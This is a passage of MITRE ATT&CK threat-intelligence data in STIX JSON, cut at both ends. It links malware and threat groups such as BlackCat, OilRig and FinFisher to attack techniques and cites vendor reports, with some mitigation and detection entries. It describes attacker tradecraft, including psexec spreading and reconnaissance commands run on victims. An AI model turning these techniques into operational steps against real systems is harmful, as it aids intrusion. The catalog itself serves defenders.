Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:24:12.940Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can replicate itself across connected servers via `psexec`.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.875Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect network configuration data by running ipconfig /all on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:45.410Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can take a desktop screenshot and save the file into \\ProgramData\\Mail\\MailAg\\shot.png.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0bde7434-49de-40c4-906c-fc5f3bfc6d16","created":"2022-06-02T12:38:27.167Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) can download and execute additional files.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T12:38:27.167Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0be595fa-a284-4657-a1bd-9b22e56b6604","type":"relationship","created":"2020-11-13T16:34:54.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:41.120Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has used malicious links to gain execution on victim machines.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0be618a0-f752-450f-8838-60c17fabd278","type":"relationship","created":"2020-02-04T13:06:49.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T13:06:49.734Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0be962d8-6281-4554-ad1f-4cba04c547de","created":"2019-01-29T20:17:49.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CitizenLab Tropic Trooper Aug 2018","description":"Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019.","url":"https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/"},{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"},{"source_name":"TrendMicro Tropic Trooper May 2020","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"},{"source_name":"Anomali Pirate Panda April 2020","description":"Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020.","url":"https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z"},{"source_name":"Unit 42 Tropic Trooper Nov 2016","description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.258Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro TropicTrooper 2015)(Citation: CitizenLab Tropic Trooper Aug 2018)(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0bea4f92-da4b-483c-81ba-c39b0c58368b","created":"2024-09-25T15:26:19.070Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:26:19.070Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used the information-stealing tool Grixba to enumerate network information.(Citation: CISA Play Ransomware Advisory December 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0beeaf4e-f9cf-46af-9e2f-116fff614d5f","created":"2023-12-21T21:14:46.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T20:56:38.345Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has downloaded files, including [Cobalt Strike](https://attack.mitre.org/software/S0154), to compromised hosts.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0bf4ebc1-e4e4-4d56-8380-cb9601de353f","created":"2022-06-09T15:00:52.243Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can collect the username from the compromised machine.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T15:00:52.243Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c03f2b4-a752-4d74-9c26-5306132a3329","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"},{"description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:52:16.049Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run hostname and systeminfo on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: FireEye APT34 July 2019)(Citation: Check Point APT34 April 2021)\t","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Feb 2015","description":"Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.","url":"https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"}],"modified":"2019-06-24T17:08:51.686Z","description":"A [BlackEnergy](https://attack.mitre.org/software/S0089) 2 plug-in uses WMI to gather victim host details.(Citation: Securelist BlackEnergy Feb 2015)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c0cd7a2-496b-458d-b041-e05816450502","type":"relationship","created":"2020-01-30T16:36:51.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA Spotting","description":"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.","url":"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}],"modified":"2021-08-31T19:55:02.894Z","description":"Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.(Citation: NSA Spotting) ","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c143634-89e1-47a0-9044-4ca39ccff76a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2019-04-19T18:36:31.927Z","description":"A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c1acc71-87ca-4dc5-ba28-3d924bc1c93f","created":"2022-10-13T21:12:37.501Z","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T21:12:37.501Z","description":"[DCSrv](https://attack.mitre.org/software/S1033) has created new services for persistence by modifying the Registry.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c1f6d5f-3094-4834-94a9-5a615e7c319c","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.688Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c225034-209b-4ea5-b311-65ee9e82f8fe","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.424Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses HTTPS and HTTP for C2 communications.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c2259d0-2d56-4bbc-bd98-e35ac991b6e8","type":"relationship","created":"2020-07-30T19:23:33.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.260Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has a command to launch a keylogger and capture keystrokes on the victim’s machine.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c294d8b-2ee4-47ee-b9d8-8378d9d89ba1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.018Z","description":"[Comnie](https://attack.mitre.org/software/S0244) runs the command: net start >> %TEMP%\\info.dat on a victim.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c29bffb-78c0-43c0-8b99-f5155bfa0432","type":"relationship","created":"2020-03-27T21:13:45.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:13:45.236Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c2dadcb-36c4-4255-a53d-e54f1bb71c5f","type":"relationship","created":"2020-03-12T14:18:38.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Dissecting DGAs","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf","description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."},{"source_name":"Cisco Umbrella DGA Brute Force","url":"https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/","description":"Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."}],"modified":"2020-03-27T18:25:03.490Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Malware researchers can reverse engineer malware variants that use dynamic resolution and determine future C2 infrastructure that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c2dff3a-5de1-4a39-aad4-5db273d9fcd7","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike AWS User Federation Persistence","description":" Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.","url":"https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"},{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.","url":"https://www.sygnia.co/golden-saml-advisory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T18:14:11.918Z","description":"Monitor for creation of access tokens using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.(Citation: Sygnia Golden SAML) Additionally, detect on unusual API calls to generate access tokens, such as `sts:GetFederationToken` in AWS.(Citation: Crowdstrike AWS User Federation Persistence)","relationship_type":"detects","source_ref":"x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c3668cf-32c1-420f-a1c0-0c8598360ad8","type":"relationship","created":"2020-06-25T18:50:24.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:50:24.164Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used compromised websites to register custom URL schemes on a remote system.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c393451-a750-4c8a-81be-4d0e9e84a6eb","created":"2020-03-20T18:43:10.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.672Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used steganography to hide its C2 communications.(Citation: 